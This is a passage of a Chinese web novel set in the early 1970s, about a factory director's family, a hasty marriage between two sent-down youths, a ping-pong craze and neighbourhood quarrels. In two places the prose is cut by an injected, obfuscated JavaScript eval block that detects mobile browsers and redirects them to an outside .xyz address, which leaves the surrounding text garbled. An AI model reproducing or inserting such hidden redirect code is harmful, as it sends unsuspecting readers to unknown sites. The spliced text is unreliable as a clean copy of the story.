消息,陆续有人提着礼物来关家拜访。司南的母亲董巧花大晚上领着司北,也来了。怀里抱着三双布鞋,话说的很温婉,说是来问问招工政策,章清云能怎么办呢,只得如实相告道:“董姨,这事儿是粮油公司那边把关的,第一条线就是高中毕业,小北这刚上高中吧?你说......” 董巧花脸都红了,开口求人难啊,闻言尴尬地笑笑:“是,小北去年才上高中。行,那我们知道了,鞋是特意给你做的,你们跳舞的,平日鞋得穿合脚才行,收着吧,阿姨走了。” 听到条件不符合,不多纠缠,利索地走人,不难为人也不为难自个儿,这是属于明事理的。那不明事理的,例如何玲和牛桂兰,就难对付多了。就说何玲,她家大儿媳孙美妮可是没工作的,不过也只是初中毕业,根本不符合条件。 跟她说了,不行,不符合招工条件,何玲却满脸的不以为意:“你男人就是厂长,塞个人还不是一句话的事儿?!小云啊,做人可不能忘本,你可是咱们大杂院出来的,不能攀上高枝儿就不认人了......” 好在章砚臻和陈静看到何玲偷偷摸摸的,跟过来了,否则还真打发不了。陈静怒目圆瞪,做警察的威压立马就出来了,她道:“你怎么说话呢!这不是让我家百钺犯错误吗?怎么,都像你这样,那厂子还运转不运转了?说了高中毕业,肯定是有这么做的理由的,你要是再胡搅蛮缠,小心我将你带到警察局,关起来清醒清醒。” 章砚臻立马打圆场了:“静静,消消气,都是邻里邻居的,别这么较真。何嫂子,不是我说你,你以为那机械厂那么好进啊。咱们钢铁厂下面就有造机械的,你瞧瞧去,每年有多少伤残的?隔壁胡同的老刘家、再隔壁的老李家,还用我数吗?你就不心疼儿媳妇?” 夫妻俩一个白脸一个红脸,总算是把这婆媳俩搓走了。章清云切一声:“家里的男人都死了啊,遇到这种事儿了还只让女人出头!一个个缩在后面当缩头乌龟,让人瞧不起!” 正骂着呢,谁知走了这个,来了牛桂兰。这人盯着章家呢,见夫妻俩偷偷出来,可不就跟来了。牛桂兰这人轴,一进大院就明白怎么回事儿,竟是边走边放话,说关家要是敢在招工上徇私,她就举报,非要把国家的蛀虫拉下马不可。 这可是求之不得的事儿。关百钺可算找着理由了,不是他不帮忙,是牛桂兰盯上他们家了!要是敢乱来,他可就得进去。 大杂院的人那个恨啊。可这年头,牛桂兰这样的思想,那才是顶顶主流的被颂扬的思想,你们不满能怎么办?!不批判你们就不错了,还敢不满,不满也忍着去。 就这么阴差阳错的,这场招工,意外地公平公正起来。当然,只是相对的,但这个相对,也让很多人看到了希望。 等考完贴出录取名单,科研大院的人占了一多半。没办法,家里都有读书人,底子在这里放着呢,粮油公司子弟比不过的。顾云岚和顾云凯都被录取了,黄咏梅高兴地在家就差放鞭炮了,晚上还想偷偷地去感谢关百钺,还是两个孩子机灵,拦住了人,否则真得出事儿不可。 为啥?因为第二日,举报关百钺违规收礼,招工不公,录取关系户的举报信,就送到了革委会。 53. 出走结束与结婚 被举报了,当然得接受调查。关百钺被停止了工作,赋闲在家等待调查结果。吃早饭的时候,人家有了新习惯,开始一边看报纸,一边吃饭,悠闲得很,一点儿没有被调查的惊慌。 章清云一眼眼地看关百钺,撇撇嘴:“你这是心里有底?觉得牵连不到你?” 关百钺抖了抖报纸,笑着望过去:“当初为了相机,刻意结交程卫东,为啥的?今儿不就派上用场了。他爸可是革委会主任,正的!我呢,是能带着他儿子走上务实道路的人,你说我这样的人,他能让我身上有污点吗?” 说着挑起一边的嘴角:“而且啊,这次招工,粮油公司的领导和其他厂子的领导都盯着呢,放心,一个小小的举报信,奈何不了我。” 章清云这才放下心,这几日团里的人都有点儿躲着她走,家属院的人见了她,也没了以往的热情,她这心里还怪不是滋味儿的,此时笑着自我调侃:“原来我也是喜欢被人恭维的感觉的,这几天你被调查,大家躲着咱家走,我这还怪不习惯的。” 关百钺笑着安慰:“人嘛,谁不喜欢听好话。没事儿,再忍几天,顶多十天,这事儿就过去了。” 可不是,不说关百钺有人护着,就他在机械方面展现出来的天赋,上面的人就不会冲他动手。这样的人,将来是能创造更多的工作岗位的。 也就是一个礼拜的时间,关百钺重新上班了,还是机械厂的厂长。恢复工作的第一天,革委会就派人来贺喜。大家这才恍然,感情这位是哪哪儿都有关系的能人。 作为能人的媳妇儿,章清云立马感觉到了不一样。吃午饭的时候,队员们纷纷过来打招呼,这个说:“清云,今儿有煎豆腐,打到没有?知道你爱吃,没打到我这份儿给你。” 那个说:“清云,下班去逛百货大楼啊,听说来了新布料,的确良呢,这都四月了,说热也就热起来了,这料子可得准备着。” 一个个都可热情了,要不是还记得之前这些人躲着她走的样子,章清云差点儿以为,原主和这些人有什么秘密交情,而她没想起来呢。 来这么久,章清云如今也是会应付各种人情往来的,她笑得一脸真诚,道:“不用,我快吃完了,你吃吧。” “的确良是好,可我觉得还是棉布穿着舒服,就不去了,你们去吧,我回家还得做饭呢。” 反正在团里的形象,章清云一直是贤妻良母,这么说肯定没错,就这么应付了大家。下班的时候也是脸上挂笑的,任谁看了都以为她心情很好的那种笑。 只是这笑容,在离开文工团一段距离后,刷地收了起来。 实在是,假笑也怪累人的。 如今关百钺忙,章清云都是自己上下班。正往家走呢,叶宛如突然从树后面出来,大白天的,章清云没吓着,只是看向叶宛如的眼神儿不怎么好,语气也不太美妙,她说:“你这怎么总是突然出来,也不怕吓着人,再出什么事儿。”说着话,眼睛不由看向叶宛如的肚子,平平的,这是把孩子做了? 叶宛如哼一声,低语道:“别看了,我还能生下来不成,早做了。我来是跟你告别的,我爸给了我一个工农兵大学生的名额。” 说着她冷笑一声:“我要去读大学了,你见了高武跟他说一声,姑奶奶回来再收拾他!” 章清云还真不知道高武最近的情况,忍不住问:“闹翻了?” 叶宛如翻个白眼儿:“我又不傻!他连承认都不敢承认,我还能跟他继续下去?这小子也不好过,他的事儿谁不知道,没有单位敢用他,他就继续做他的顽主吧,等哪天被抓进去才好呢。” 章清云就不解了:“不用我捎什么信儿给高武?那你是......特意来跟我告别的?” 叶宛如踢了踢脚边的石头,微微点了点头,轻声道:“你这人还不错,我知道,我......的事,没传出去,肯定是你替我保密了。和关百钺好好过吧,我走了。” 章清云哎了一声,还想问什么呢,没想到叶宛如转身就走,十分的潇洒。章清云摇摇头,迈步继续回家。 路过顾家时,又听到黄咏梅和儿女的争吵声。黄咏梅也是很典型的中国式母亲了,见不到孩子的时候,想那是真想,晚上睡不着觉的那种想。可跟儿女住在一个屋檐下,还没半个月呢,就开始各种的找茬。 一会儿嫌弃儿女吃饭吧嗒嘴,说在农村学了一身的坏习气,变得她都不认识了,一会儿唠叨儿女都二十五了,还不找对象,人家关百钺才二十一,都结婚了。总之是各种的唠叨,各种的不满意。 顾云岚和顾云凯刚开始还辩解两句,后来就习惯了,不论黄咏梅怎么骂,两人只低着头吃饭,理都不理,心里也不是不委屈,谁让他们碰上了这样的母亲呢。 62年,京城的高中毕业生发起下乡请愿,迅速在全国蔓延开,63年姐弟俩高中毕业,没考上大学,这不是头脑发热,请愿下乡了嘛。当时有多光荣,如今就有多后悔。好在两人运气好,抓住了城里招工的机遇回来了。可是家,变得不像家了。 母亲没日没夜的唠叨,诉说着为了儿女,这些年受的委屈,咒骂着父亲的不负责任。父亲呢,可能真是德行有亏,知道儿女回城了,除了写信来表达关心,竟然连一分钱都没捎来。 黄咏梅收到信恶狠狠的:“肯定都给那些小贱人花了!顾念恩这是丧了良心了!我要去找领导,去找革委会反应......” 当然,都是气话,为了让儿女工作顺利,黄咏梅没去,但那唠叨的内容更多了。兄妹俩也曾经找过关百钺,问能不能住宿舍,家里实在呆不下去了。在那个家,他们好像连呼吸都是错的。 关百钺能说什么呢?顾家那么宽敞的房子都呆不下去,那其他家,三代二十口子人,挤二十平的怎么办?不能不批准人家的宿舍申请,批你们的吧,不像话呀。 章清云安慰他们:“想想那些还在乡下的知青,是不是日子就没那么难了?云岚姐,云凯哥,想开点儿。我的话可能不好听,但是还是要劝两句,别为了逃离这个环境,找个人随便结婚,那样才真是毁了。你们现在是正式工人,条件好着呢,好好挑,不会一直这么难的。” 也许是章清云的话起了作用,顾家的争吵声还有,但持续的时间越来越短,夫妻俩也能好好享受下班后的时光了。这日正吃晚饭呢,章清远气喘吁吁地跑来,将门拍得啪啪响:“姐,快开门,姐!” 章清云唬了一跳,这是出什么事儿了,这么急!脸当即就白了,关百钺低声安慰:“别怕,有我呢。”说着迅捷地起身开门。 门一开,章清远小跑进来,呼哧带喘地道:“姐,三哥和司南姐回来了,说要结婚,家里请你和姐夫回去商量事情。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450688|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>章清云那个心啊,跟坐了过山车似的,起来就朝章清远的后背狠狠拍过去:“让你那么敲门,让你不懂规矩!” 章清远哎呦哎呦的叫唤:“姐,咋了嘛,我就是跑的有点儿急,敲门急了点儿,又没出什么大事儿......” 关百钺忙拉住章清云的手,劝道:“好好教,别急。” 说着训小舅子:“大晚上,可不敢这么敲门,不吉利,知道不知道?”清云上辈子是孤儿,穿越以来,章家人对她的疼爱,那真是发自骨子里的,别说缺爱的章清云了,就是那冷心冷肺的,都捂热了。这是真把人放心上了,冷不丁听到这样的敲门声,可不就急了嘛。 关百钺又是心疼章清云,又是觉得小舅子调皮不懂事儿,语气不由也重了两分:“有些老规矩还是得遵守的,尤其是咱们家里还有两层老人呢,这些细节可得注意......” 章清远低着头,一副受教的样子。章清云哼一声,小声嘀咕:“傻不傻!当初三哥去老家下乡,你以为是白去的?肯定是看司南去了,他趁机巴巴追过去的。三哥早就对司南有意思了,有什么大惊小怪的。” 章清远猛地抬起头,一脸的惊讶:“姐,你早知道?” 章清云翻个白眼儿,伸出手指使劲儿戳了戳弟弟的额头:“你啊,也不小了,今年十三了吧?长点儿脑子吧。” 章清远歪着身子,“哎呦,姐,轻点儿,我知道了,以后一定长脑子。那咱们走吧,家里还等着呢。” 行,走着,章清云和关百钺急匆匆换好衣服,带着章清远朝三叉树胡同赶。事情急,两人骑上自行车,章清远跳上关百钺的自行车后座,蹭蹭蹭往家走。 到了大杂院的正房,见到章清宇和司南,章清云吓了一跳,司南瘦的都快没人形了,这是受什么委屈了? 章清云的声音,不自觉带上了颤,她道:“发生什么事儿了,多久了?怎么没人往家里说一声!” 司南苦笑:“不干清宇的事儿,是我......我私自上山逮兔子,被二赖子发现,他......他威胁我说要去知青办告发我,说我偷盗国家财产,还对我动手动脚的,是清宇救了我。” 章清云气得脸都白了,哪里不明白司南的未尽之语。事情肯定传开了,只怕十里八乡都知道司南被二赖子动手动脚的事儿,更不堪的话肯定也有。且看司南的样子,只怕当时二赖子动的手脚不轻! 陈静蹭地起身:“我去抓他坐牢!” 同时,一道略显沙哑稚嫩的男声响起:“我去杀了他!”是司北,小伙子正在变声期,一副公鸭嗓,寻常都不开口说话的,如今听见姐姐受欺负,难得的嚷起来,说话的同时就要往出跑。 董巧花脸都哭花了,使劲儿拉住儿子的胳膊,不让他走,同时砰地一声跪在地上:“陈家妹子,使不得!我知道你是好心,可二赖子要是因为这个事儿坐牢,我家司南可怎么做人,日后如何在三河大队呆下去!您抓他可以,可不能因为这个事儿。算我求求你了。” 说着就要磕头,陈静忙去扶:“董大姐,你这是干什么!起来,咱们慢慢说,慢慢说。”语气里满是无奈。 章清云眼睛也红了,看向司南。司南眼泪跟断了线的珠子似的,哗啦啦往下落,要多可怜有多可怜。 可看在章砚廷和邵华眼里,却有些不是滋味儿。 54. 磨人的小妖精呀 作为邻居,对于司南的遭遇,章砚廷和邵华是同情的。可同情并不代表,要让司南做他们家的儿媳妇! 邵华伸出手,狠狠在儿子的腰上拧了一圈儿,这才肃着脸起身,低声道:“跟我出来。” 章清宇才不,他梗着脖子高声道:“妈,我知道你要问什么。我喜欢司南,您又不是不知道!而且司南没被二赖子糟蹋,真的,我现场救了司南,还能不知道吗?顶多就是撕破了衣服,只是当时回知青点儿的时候被人看到了,二赖子又是个老光棍,想赖个媳妇儿,这才往外胡说的。我发誓,我要是说的有一句假话,天打雷劈,这辈子都回不了城!” 邵华眯眼,刚开始还半信半疑,听到最后的誓言倒有些相信了。章清宇再接再励道:“妈,我就看上司南了,其他人谁也看不上。要是您不让我娶司南,我就一辈子打光棍,谁也不娶!” 司南闻言,头都要埋到胸口了。 邵华哼一声,知道这个三儿子是个说到做到的,心里恨得牙痒痒,面对董巧花的时候,却也难得的挤出个笑,她说:“他董婶儿,您看这事儿闹的。我家这小子是个死心眼儿,既然说了要娶司南,那咱两家这婚事......” 章清云打断道:“大伯娘,等一下,我有话要问司南。” 说着,章清云扶着司南,低声道:“咱俩出去说。”不由分说地将人带出屋。 屋外也没地方啊,下乡的两个孩子突然回来,其中一个还瘦成那样,谁不好奇啊,加上也担心家里下乡的孩子出事儿,一个个都探着脑袋看呢。见章清云扶着司南出来,七嘴八舌地问上了。 “司南,这是咋的了?被村里人欺负了?跟大家说说,大家给你撑腰。” “就是,都是邻里邻居的,有事儿说句话。你们这些娃娃都是下乡支援农村建设的,可不是被人欺负的!受了委屈一定要说,咱们就是请假,也得给你出头。” “就是,孩子们容易嘛,小小年纪就下乡,孤孤单单的去陌生地方,可不是送过去被人欺负的。” 七嘴八舌的,虽然平时有矛盾,可到了正事儿上也不含糊,一个个嚷着要替司南出头。 章清云笑着敷衍过去,走出大杂院五六十米,才找到一块儿空地,章清云说:“司南,结婚可是一辈子的大事儿。咱俩这么多年的好朋友了,清宇又是我堂哥,我得问你一句,你是喜欢清宇,还是单纯因为感动,才要嫁给清宇?要是后者,其实不必如此的,你......” 司南脸上的眼泪也干了,闻言苦笑道:“清云,我不骗你,刚开始单纯就是感动,也有害怕,害怕这辈子除了清宇,再也没人敢娶我。可感情往往都是不由人的,感动也会慢慢变质,变成其他的感情。你要是问我现在有多爱清宇,可能没有,可我是喜欢他的,我觉得这份喜欢,足以让我进入婚姻,婚后慢慢去欣赏清宇,慢慢爱上他。” 章清云瞥了眼偷偷跟过来偷听的章清宇,这才笑了:“好,我等着你爱上三哥。”只要不是没有感情,朝夕相处的,会慢慢好起来的。 两人回了主屋,章清云对着众人点点头。谁都不傻,自然知道章清云为什么要带司南出去,况且清宇回来只顾着傻笑了,谁不知道是什么意思? 邵华一把拉住董巧花的手,笑着说:“董大姐,您等着,我明儿就去找媒人,咱们光明正大的提亲......” 章清宇终于正常了,他打断道:“妈,知青点儿就给我俩放了三天假,那些流程就免了吧。我和司南商量过了,明天我俩去公社把结婚证领了,后天咱们两家吃顿饭,就算结婚了。”两人是知青,户口已经迁到下面的大队了,领证自然要去公社。 邵华瞪眼:“之后呢?你俩是知青,能住一块儿吗?” 章清宇点点头:“能,我住爷爷奶奶那里,谁也说不了啥!之前是因为单身,也是刚下乡,不好搞特殊,可如今我和司南都结婚了,自然要住一块儿。您放心吧,老支书和队长都答应了。” 想来也不敢不答应。二赖子做下这种事儿,司南要是告上去,整个三河大队都得遭殃。 章砚廷轻咳一声,瞪了儿子一眼,不满道:“哪儿能这么委屈司南,这么急,家里没肉没鱼的......” 董巧花忙摆手:“不委屈,不委屈。章家大哥,我得谢谢您,不管怎么说,能答应让清宇娶司南,我记着这个恩。放心,司南是个懂事儿的孩子,一定会好好和清宇过日子的。” 这就是说定了,作为妯娌,宋甜甜和唐春梅凑到司南面前,小声地说话。说起来,宋甜甜和司南也算熟悉,一个大院儿住了三年,总是说过话的。唐春梅嫁过来的时候,司南和章清宇已经下乡了,两人没怎么见过面,唐春梅笑着问起了春耕的事儿:“春里下了几场雨,想来庄稼该是不错?” 司南嗯了一声,四个女人小小声地说话。那边,两方父母已经谈拢,章清云和关百钺也告辞离开。等快到科研大院了,章清云才想起来:“清宇还不满二十周岁,怎么登记结婚?” 关百钺笑道:“你看过清宇的户口本?说不定当时就写错了呢?” 这还真有可能。这时候的户口本,信息都是手写的,写错的可能性很高。上辈子队上的一个队友,就是这种情况,户口本上的出生日期,比实际的要大两年,就因为如此,倒霉催地错过了大学生运动会和青少年锦标赛,也是够冤的。 因着事情仓促,第三日的婚宴当然没有特意准备的好,不过章砚廷和邵华也是认真准备了的,九个菜,有鱼有肉的,看着还不错。想来连续两个晚上都去了黑市,不然不会有这么多肉。 章清宇和司南的婚事过后,已经是四月中旬了。乒乓外交如火如荼,全国都出现了乒乓球热,青江市自然也不例外。为了响应号召,革委会提出,要在全市范围内举办乒乓球比赛。比赛分为少儿组、少年组、成年组和老年组,并再细分为男女两队,决赛将在十一那天举办,算是国庆献礼。 这么重要的事,哪个单位不支持?就连文工团,平日里除了训练,其余时间都开始练起乒乓球了,誓要在决赛里出出风头。如今的文工团福利好,领导们特意买了五副乒乓球拍,让大家没事儿的时候练习。 程紫鹃做什么都特别积极,当即给章清云抢了一副,拉着她对练。没抢到乒乓球台?先对着墙练习嘛,程紫鹃边打球边低声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456204|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我五月二十的婚礼,你可得来。” 章清云笑:“还用你嘱咐?想要什么,我去给你买。” 程紫鹃嘿嘿嘿的笑:“那什么,你能帮我找找红布吗?棉布、的确良都行,我爸妈托了好多人,你也知道,红布难寻,现在还没找到正红的呢。” 章清云笑:“行,我帮你问问。”她结婚的红布是关盈钺和洪安娜送来的,想来这两人有门路。 程紫鹃那个高兴啊,手舞足蹈的,想说什么,半晌又闭上嘴,如此往复的,章清云又不是瞎子,如何看不到,她好笑道:“行了,咱俩什么关系,怎么还来欲言又止这一套。说吧,什么事儿?” 程紫鹃一把接过乒乓球,蹭过去,挽住章清云的胳膊,撒娇道:“清云,咱俩最好了,是不是?” 章清云无奈:“是是是,咱俩最好,说吧,想要什么?” 程紫鹃笑:“那什么,你结婚的时候是谁给你化的妆啊?可真漂亮,能不能让她也给我化,你放心,我不会亏了人家的,你就告诉我吧。” 章清云斜眼看了程紫鹃一眼,忍笑问答:“哦,你打算给人家什么东西啊?我跟你说,人家手艺好,忙的很呢。” 程紫鹃挠挠头:“皮鞋票,我爸前几天去皮鞋厂参观,厂子给了些慰问品,不管那人化的好不好,只要肯来,我都把皮鞋票给她,好不好?” 章清云笑:“这可是你说的?” 程紫鹃一个劲儿点头:“对,我说的。” 章清云这才说道:“行了,明儿把皮鞋票拿来,那天我去给你化。” “啊!”程紫鹃这才反应过来,“你自己化的?” 章清云点点头,程紫鹃跺跺脚,伸手就要咯吱章清云,两人正闹着呢,一道略尖锐的女声响起:“教练,你看,有人明明不练习乒乓球,还要占用乒乓球拍,让我们这些想练的人都没法练!” 孙巧云的声音。自从姚燕妮带着相机来给大家拍照,孙巧云就成了姚燕妮最忠诚的狗腿和嘴替,自动将章清云、程紫鹃和苗盼儿划到了敌方阵营,时不时就要开口讥讽两句。 不过此时章清云和程紫鹃确实理亏,两人立马停止打闹,一副认真练习的样子。周文芳哼了一声,冷冷道:“都好好练习,咱们文工团不仅要跳得好,乒乓球也要打得好,明白吗?” “明白!” 可惜,章清云没有乒乓天赋,练了一个礼拜,团里初步选拔的时候,就被筛了下去,而姚燕妮和孙巧云双双被选上,可让两人高兴坏了。 要知道,以往跳舞,不论是口头表扬,还是实质性的福利票,两人都是输给章清云和程紫鹃的。没错,孙巧云和程紫鹃跳的角色是重合的,只不过分别在A、B组,平时表演并不冲突而已。 姚燕妮大手一挥:“走,选上的人人一瓶北冰洋,我请客!” 人群立刻热闹开了,“燕妮女神,燕妮女神”的大喊。 章清云特别的沮丧,上辈子打拳击,这辈子跳芭蕾,都有点儿体育天赋吧,可怎么就玩不转小球呢。耸眉搭眼地回到科研大院,一看关百钺的样子,得,夫妻俩双双落选,都没机会进入下一阶段的兵乓球比赛。 55. 贪心不足事终发 关百钺也很无奈啊,上两辈子,都跟运动无缘,这次好歹成了顽主,是吧,以前这个原身也是能打架的主儿,原以为运动神经还行,谁知道第一轮就被淘汰了。 作为厂长,那一刻,他是尴尬的。好在关百钺脸皮厚,带头给对手鼓掌,鼓励对方好好训练,为厂子争光云云,大义凌然,一副大度谦和的好领导样儿,众人也纷纷鼓起掌。 以为媳妇儿能争气呢,没想到也没精打采地回来了。关百钺忙笑着起身,安慰章清云道:“好了,不就是乒乓球嘛,咱们以前还是世界拳击冠军呢,有什么啊,是吧,咱们也不差的。” 正安慰着呢,隔壁的黄咏梅爆发出惊雷一般的大笑声,似是要把这么多年的郁闷都笑出来一样,哈哈哈的,声音能传出二里地去。不用问都知道,这是俩孩子选上了。 关百钺撇嘴,今儿淘汰他的,就是顾云凯这家伙! 章清云自然感受到关百钺的情绪,得,换她来安慰人了,她笑着道:“咱不气啊,咱是技术性人才,是动脑子的,才不是那些四肢发达的人能比的,是吧?你将来创造的财富,全机械厂的人都比不上!” 还生气?那只能再肉麻再夸张点儿了。 “别说机械厂,就是全青江市,都没我家百钺聪明!动动手指,就凭空造个机械厂出来,跟着你,还能天天吃香喝辣,哪儿去找这么好这么厉害的人!” 天爷啊,终于脸色好看点儿了,比她还难伺候,够矫情的。 章清云心里腹诽,面儿上却笑盈盈的:“晚上吃什么?天儿也晚了,要不咱们去食堂打点儿饭回来?” 关百钺也没心情在家呆了,干脆道:“直接在食堂吃算了,走。” 不过在哪儿吃,大家讨论的都是单位的乒乓球比赛,两人想听不见都难。好在逗了会儿闷子, 心情好了许多。章清云关心起关百钺的事业:“大家都忙着打乒乓球,对你们的生产没影响吧?” 关百钺摇摇头:“没有,乒乓球都是业余时间练的,放心。” 章清云点点头,想起程紫鹃上周说的红布的事儿,问道:“红布有着落了吗?紫鹃快结婚了,今儿还问我呢。” 关百钺喝了口稀饭,道:“应该快了,吃完去沈家看看。”洪安娜的一个同事,家里是纺织厂的,之前章清云婚礼上的红条绒布料,就是洪安娜托这名同事帮忙弄到的。 好在洪安娜在家,此时肚子已经显怀了,二人到的时候,洪安娜正坐在院子里,看沈爱军和警卫员砌乒乓球台呢。 花架下,沈老爷子坐在摇椅上,也乐呵呵地看。 见两人来了,沈爱军直起腰,哪壶不开提哪壶:“百钺,听说你选拔第一轮就被涮了?没这么菜吧?”说完还哈哈哈的笑,十分的欠揍了。 洪安娜白了男人一样,问两人什么事儿,听说是红布的事儿,指了指沈爱军:“爱军,去把红布搬出来。” 关百钺内心哼一声,鲜花插在牛粪上! 因着乒乓球狂热,文工团的演出都少了,利用一切时间练习嘛,特别是在听说冠军有可能去京城,见到伟人,参加全国性的比赛的时候,更是达到了高潮。关百钺和章清云内心的遗憾也达到了新的高度。 文工团训练室里,就剩下章清云和程紫鹃这些落选的在练舞,其他人都去练乒乓球了。没错,人家苗盼儿争气,选上了。 就在这样的狂热中,五月二十日,后世的五二零这一天,程紫鹃结婚,章清云早早去程家给小姐妹化妆,看着她一脸幸福地嫁给刘念东。 七月中旬,关盈钺在医院顺利产下一女,六斤二两重,小姑娘生下来哭声格外响亮,罗霞高兴的什么似的,也没管远在西北的师强,直接给孙女取名师安。 “只希望她一生平安顺遂。”罗霞这辈子只师援军一个儿子,做梦都想要个闺女,如今儿媳妇生了个孙女,算是弥补了她的遗憾。 对于小生命的到来,关百钺和章清云送上了极厚的礼,两身鲜亮的鹅黄色小衣服、两套小被褥和一个五彩拨浪鼓。关父关母不在,关盈钺对关百钺是姐代母职和父职,不论是对原身还是对穿越来的关百钺,都是极关心的。爱屋及乌,对章清云也不含糊,两人自然感激,在关盈钺生产前就开始准备礼物了。 “姐,你安心坐月子,鲫鱼、鸡汤、猪蹄这些的我去给你弄。”关百钺的机械厂效益越来越好,和其他工厂的合作、置换越来越多,物资肯定是不缺的。 关盈钺躺在床上,右手虚弱地抱着孩子,笑得一脸幸福:“好,只是别太过了,姐知道你的心意就行。” 关百钺没说话,病房里都是笑声。 晚上回到家,好久不吵的顾家又爆发了争吵声。也不知黄咏梅怎么想的,竟然要逼女儿嫁给带孩子的老鳏夫,话说的十分难听:“大几岁怎么了?你也不看看你多大了,二十五的老姑娘了,还挑什么?!你知道不知道,你不结婚,云凯就没法找对象......” “妈!”顾云凯脸色十分难看,他吼道,“要是因为我姐没嫁人,就看不上我,这样的人娶了又有什么好的!再说,这也不是你让我姐嫁给鳏夫的理由!” “你闭嘴!”黄咏梅指着顾云凯的鼻子,低声喝道,“你知道不知道,今儿人家提的那个叶宛如,可是有身份的,你见都不见,什么意思,不怕得罪人是吧?” 顾云凯将头扭在一边,不知道母亲怎么变成了这样。叶宛如是什么名声,她难道不知道?这都能介绍给他,想干什么?觉得他不配娶个好人家的闺女? 黄咏梅能气死,为了攀上叶家,她容易嘛!为了巴结叶成才的媳妇儿温燕,她可是每天都多等十分钟,就为了坐温燕那趟公交!也是在公交车上,认识了那个男人...... 越想越气,黄咏梅嚎啕大哭:“你们怎么这么不争气。为了你们,我受了多少苦啊,你们怎么就是不听话,不听话啊......” 顾云岚抹了把脸,刚想吐口,顾云凯低声道:“姐!” 顾云岚心里一个机灵,不能心软,结婚是一辈子的大事儿,她不要做后妈,不要牵扯到无穷无尽的是非里。 就在关百钺和章清云每日下班去看一眼安安时,黄咏梅闹起了绝食。三日了,米水不进的,顾云岚和顾云凯去找妇联工作人员,去找工会,去找所有跟黄咏梅关系好的人劝,没用,就是要用这种方式,辖制儿女,让儿女听话。 还是老对头孙元贞,也就是关家东侧的邻居,指着黄咏梅的鼻子骂,才把人骂醒。 “少在这里作兴了!你以为你那点儿事云岚和云凯不知道?儿女只是给你脸,不想让你没面子罢了!还以为自己多委屈呢,天天骂老顾没良心,你自己呢?当初想尽办法嫁给老顾,发现人家要外出做科研,还不是守不住了......” “你才守不住!”黄咏梅腾地坐起来,恶狠狠瞪着孙元贞,“你少胡说八道,我那么做都是为了云岚和云凯,我......” “呸!”孙元贞丝毫不给黄咏梅面子,“少给自己的行为找理由了!那就是个混子,能帮你干什么?!别以为那天人跑了就没人看到是谁!要大家去帮你叫人吗?” 黄咏梅的身体忍不住颤抖,不由自主地看向女儿和儿子。 顾云岚和顾云凯扭过头,只当没看见。他们不想再听那些都是为了他们的话了。那些话太重,他们受不起,真的,受不起。 孙元贞哈了一声:“怎么,心虚了?我告诉你黄咏梅,大家忍你,都是看在两个孩子的面子上,你要是再欺负人家云岚和云凯,我们这些邻居都不会答应!云岚和云凯多不容易啊,在乡下七年多,好不容易回来,还要被你辖制,你有没有为孩子想过!做父母的,可不能自私!” 其他人也七嘴八舌地开始讲道理,黄咏梅低着头,忽然哈哈哈的笑起来,状若疯癫:“笑话,我活成了一个笑话!我死了算了,死了算了!”说着疯了一样的跳下床,扒着门窗就要往下跳。 顾云岚和顾云凯噗通一声跪在地上,大家哎呦一声,纷纷伸手去拦,孙元贞慌乱了一瞬,对上黄咏梅的眼睛时突然笑了,她吼道:“你跳啊!这是二楼,跳下去死不了,最多残废,一辈子躺在床上,翻身都翻不了,还得别人帮你。到时候一身一身的起疹子,就问你害怕不害怕。还连累的一双儿女一辈子结不了婚,你就满意了?!黄咏梅,你就是自私,一辈子都没改过。” 黄咏梅停止了挣扎,头发乱糟糟的指着自己:“我自私?我当年可是胡同一枝花,比隔壁的章清云都要漂亮,谁见了我不夸!如今你再看看我,看看我被顾念恩折磨成什么样儿了!元贞,咱俩同一年嫁进来的,你家老方怎么对你的,老顾又是怎么对我的,你心里没数儿吗?” 孙元贞切了一声:“你只看到老方怎么对我的,你看到我怎么对他的了吗?还不是陪着小心,磨合了好些年才长在一块儿的!你呢,稍微不顺心就甩脸子,发脾气,谁受得了?当初老顾可是不想去实验室的,还不是受不了你,硬逼着自己去的。你啊,变成什么样儿都是自己作的,怪不了别人。” 两人你一句我一句的,不论黄咏梅怎么气吧,总归是不绝食了,就是不怎么搭理两个孩子,开始冷战。三人在一个屋檐下,除了姐弟俩偶尔的交谈声,经常没声音的。 谁也不能总围着顾家过日子,这轮争吵过后,就是乒乓球比赛了。赛程安排也很简单,先是初赛,每个单位内部评选出各组的前三名,之后在市体育场进行半决赛,抓阄选对手,每组选出前八名参加决赛。 很幸运的,关百钺的机械厂,有一人进入了决赛。而文工团,全军覆没。为了彰显存在感,向党向团长特意去了革委会,争取在决赛前为大家表演节目,磨了一下午,终于说通了各位领导。 鉴于之前只有章清云、程紫鹃这些被淘汰的人员,舞蹈训练最勤,没落下基本功。自然而然,主跳给了章清云。这让姚燕妮很生气,她可是为了练习乒乓球才落下基本功的,可不能怪她! 幸好,有嘴替孙巧云,她当即道:“团长,我觉得不公平。我们可都是响应号召,为了比赛,才落下训练的,这能怪我们吗?难道以后有活动,我们都不参加不成?我觉得咱们也应该来一次比赛,跳得好的国庆那天演出,跳得不好的也不会不服气。” 积极参加乒乓球训练的人,自然一个劲儿赞成,向党想想孙巧云说的也有道理,点点头道:“孙巧云说的对,是我考虑不周了。大家都是响应号召才去练球的,这样,咱们内部来一个选拔赛,就定在下周三。今天周二,有一周多的时间让大家恢复,到时候希望大家都能恢复到最好的状态。好了,文芳,训练吧。” 